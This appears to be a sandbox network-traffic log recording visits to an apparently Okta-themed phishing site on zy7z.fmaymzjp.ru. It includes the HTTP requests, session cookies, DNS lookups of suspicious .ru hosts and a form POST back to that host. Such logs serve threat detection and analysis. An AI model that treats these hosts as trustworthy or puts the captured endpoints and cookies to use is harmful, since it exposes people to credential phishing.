Source: global traffic	HTTP traffic detected: GET /op3oJud2k3DXgTNTGnS1KeBo2nNYE9dm4rghus5yU9XSO9V7nZX667139 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://zy7z.fmaymzjp.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wxa3IofquuqMbUQuTyPGrt1sdSMst9gqjd55Hwo34125 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghu4jUXy2XLxgai6y6Bc0uWtGX3rjmn2YVrybHZ92Fm5LVcaogGGyaD7ef206 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ef7axS3Y4pr8NYZsgU1doVRUnUfijkGfT57z9coxi90150 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opmnGQAAi7tEjlqu7DlVANy3uwmrb12qlOuGU8LCwaO4zWOLEJEx0JfSDxY8Y1LDh4DKLef240 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzxvph8FBHTfRnUghG8HROvFIxCljej3xHrko80DrsRLOYkjbCKUmFarGjBUQkYzC4gAab180 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvT0OBQEFECS5XmKp1tnWDgYOO1QNJs8o4GQ0Bo5F45nVc7DdrhDMJTsf00sMThdeJLDFJPEieef256 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijbVLCjQRzzTHREx8KhePmWwo09nyzFUUqrBrFN9wSYfxNEqh56170 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsLrIG7S0lb2JQ5FRGdKRqiiHPvMPFBfzmw4tSlbQghHwcqiQI0sD0ZNsXyfurNMtmcd200 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opmnGQAAi7tEjlqu7DlVANy3uwmrb12qlOuGU8LCwaO4zWOLEJEx0JfSDxY8Y1LDh4DKLef240 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghu4jUXy2XLxgai6y6Bc0uWtGX3rjmn2YVrybHZ92Fm5LVcaogGGyaD7ef206 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvT0OBQEFECS5XmKp1tnWDgYOO1QNJs8o4GQ0Bo5F45nVc7DdrhDMJTsf00sMThdeJLDFJPEieef256 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Microsoft-CryptoAPI/10.0Host: x1.i.lencr.org

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: vleducationdemo.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: zy7z.fmaymzjp.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: svh3dl.djktgj.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com

Source: unknown

HTTP traffic detected: POST /mxnGiuCebjMBjUQRf6mDgo59rEscCBjf HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveContent-Length: 803sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9br7Kr498qc56baesec-ch-ua-mobile: ?0Accept: */*Origin: https://zy7z.fmaymzjp.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://zy7z.fmaymzjp.ru/fIcaNduRepaS/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkZtTE1aekpqWUZ1ZDg2SkxSMktLSlE9PSIsInZhbHVlIjoiWUJ0NFRMVytLSTJTNXRabFB6V1Jkb3VPR0FtOTRjWmtpRXd6S1Fpa0NXdVJxWVE1d3B5Q3Zsa083TnN1dmNvOEN2WDIvcnRnUEFtS3JaODVBZDdYTkVDRC83eU9NYU1BMG8rWGZ1Ui9zMjh0ZTQ2UzI4aXU4MW44QTdvQWI2czMiLCJtYWMiOiIwYzgzODM5MjRlMzFjMzNmZmYwNmNmZjI4ODEzMDE5MmNlYmJlNzAwMzEzY2VjN2RjMDViM2VhZjIyNTE5NzdhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdFRHpyQ242TmdybHNjbEV3a1YyMHc9PSIsInZhbHVlIjoibVlnSmVuL1FIOXRzUkNHK3QwMmpZa25IRlN1S0Jvekc5aXM4NVgraEJOWVZuVDlEeDdnZWZEaHpiOE8yYUR2dS9zSkVDS2FudXJZNU0xK0d4a1JHdXMxU2NySHRYWHY1NEVBaThLNElwSEVVbmZSWHlYUWZHN0dvSlZiL3QzOEQiLCJtYWMiOiI5YWYyZjQ4NjI2MzllMzgxOGU3YTA2NjM2ZWE5MWIwYzQ5NzUxZjllZjUxOGVjZWZmYzFkMzIyOGEzZWVhMjkzIiwidGFnIjoiIn0%3D

